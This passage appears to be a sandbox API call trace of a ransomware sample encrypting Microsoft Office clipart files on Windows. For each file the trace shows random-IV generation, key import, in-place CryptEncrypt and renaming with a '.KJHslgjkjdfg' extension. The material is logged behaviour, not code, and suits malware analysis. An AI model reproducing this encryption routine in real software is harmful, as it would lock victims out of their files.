lpOverlapped=0x0) returned 1 [0201.400] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.400] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.400] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.400] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.401] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.401] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.401] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.401] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x423a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x423a, lpOverlapped=0x0) returned 1 [0201.402] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4240, dwBufLen=0x4240 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4240) returned 1 [0201.402] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.402] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4240, lpOverlapped=0x0) returned 1 [0201.402] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.402] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.402] SetEndOfFile (hFile=0x130) returned 1 [0201.405] GetProcessHeap () returned 0x990000 [0201.405] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.405] GetProcessHeap () returned 0x990000 [0201.405] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.405] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg.kjhslgjkjdfg")) returned 1 [0201.407] CloseHandle (hObject=0x130) returned 1 [0201.407] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0318448.WMF", cAlternateFileName="")) returned 1 [0201.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.409] GetProcessHeap () returned 0x990000 [0201.409] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.409] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.409] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.409] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.409] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.409] GetProcessHeap () returned 0x990000 [0201.409] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.409] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.409] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.409] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.412] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.412] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.412] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.412] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.412] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.412] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.412] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.412] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.412] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4180, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4180, lpOverlapped=0x0) returned 1 [0201.414] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4180, dwBufLen=0x4180 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4180) returned 1 [0201.414] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.414] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4180, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4180, lpOverlapped=0x0) returned 1 [0201.414] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.414] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.414] SetEndOfFile (hFile=0x130) returned 1 [0201.417] GetProcessHeap () returned 0x990000 [0201.417] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.417] GetProcessHeap () returned 0x990000 [0201.417] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.417] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf.kjhslgjkjdfg")) returned 1 [0201.419] CloseHandle (hObject=0x130) returned 1 [0201.419] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2dfa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0318804.WMF", cAlternateFileName="")) returned 1 [0201.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.420] GetProcessHeap () returned 0x990000 [0201.420] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.420] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.421] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0201.422] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.422] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.422] GetProcessHeap () returned 0x990000 [0201.422] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.422] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.422] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.422] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.422] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.423] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.423] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.423] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.423] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.423] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.423] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.423] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.423] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2dfa, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2dfa, lpOverlapped=0x0) returned 1 [0201.424] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2e00, dwBufLen=0x2e00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2e00) returned 1 [0201.424] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.424] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2e00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2e00, lpOverlapped=0x0) returned 1 [0201.425] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.425] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.425] SetEndOfFile (hFile=0x130) returned 1 [0201.427] GetProcessHeap () returned 0x990000 [0201.427] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.427] GetProcessHeap () returned 0x990000 [0201.427] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.427] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf.kjhslgjkjdfg")) returned 1 [0201.428] CloseHandle (hObject=0x130) returned 1 [0201.428] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0318810.WMF", cAlternateFileName="")) returned 1 [0201.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.429] GetProcessHeap () returned 0x990000 [0201.430] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.430] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.430] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.430] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0201.432] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.432] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.433] GetProcessHeap () returned 0x990000 [0201.433] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.433] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.433] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.433] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.433] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.433] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.433] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.433] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.433] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.433] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.433] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.433] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.434] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x28be, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x28be, lpOverlapped=0x0) returned 1 [0201.435] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x28c0, dwBufLen=0x28c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x28c0) returned 1 [0201.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.435] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x28c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x28c0, lpOverlapped=0x0) returned 1 [0201.435] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.435] SetEndOfFile (hFile=0x130) returned 1 [0201.438] GetProcessHeap () returned 0x990000 [0201.438] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.438] GetProcessHeap () returned 0x990000 [0201.438] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.438] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf.kjhslgjkjdfg")) returned 1 [0201.440] CloseHandle (hObject=0x130) returned 1 [0201.440] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24d7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0321179.JPG", cAlternateFileName="")) returned 1 [0201.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.442] GetProcessHeap () returned 0x990000 [0201.442] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.442] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.442] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0201.444] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.444] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.444] GetProcessHeap () returned 0x990000 [0201.444] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.444] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.445] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.445] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.445] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.445] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.445] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.445] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.445] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.445] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.445] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x24d7, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x24d7, lpOverlapped=0x0) returned 1 [0201.447] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x24e0, dwBufLen=0x24e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x24e0) returned 1 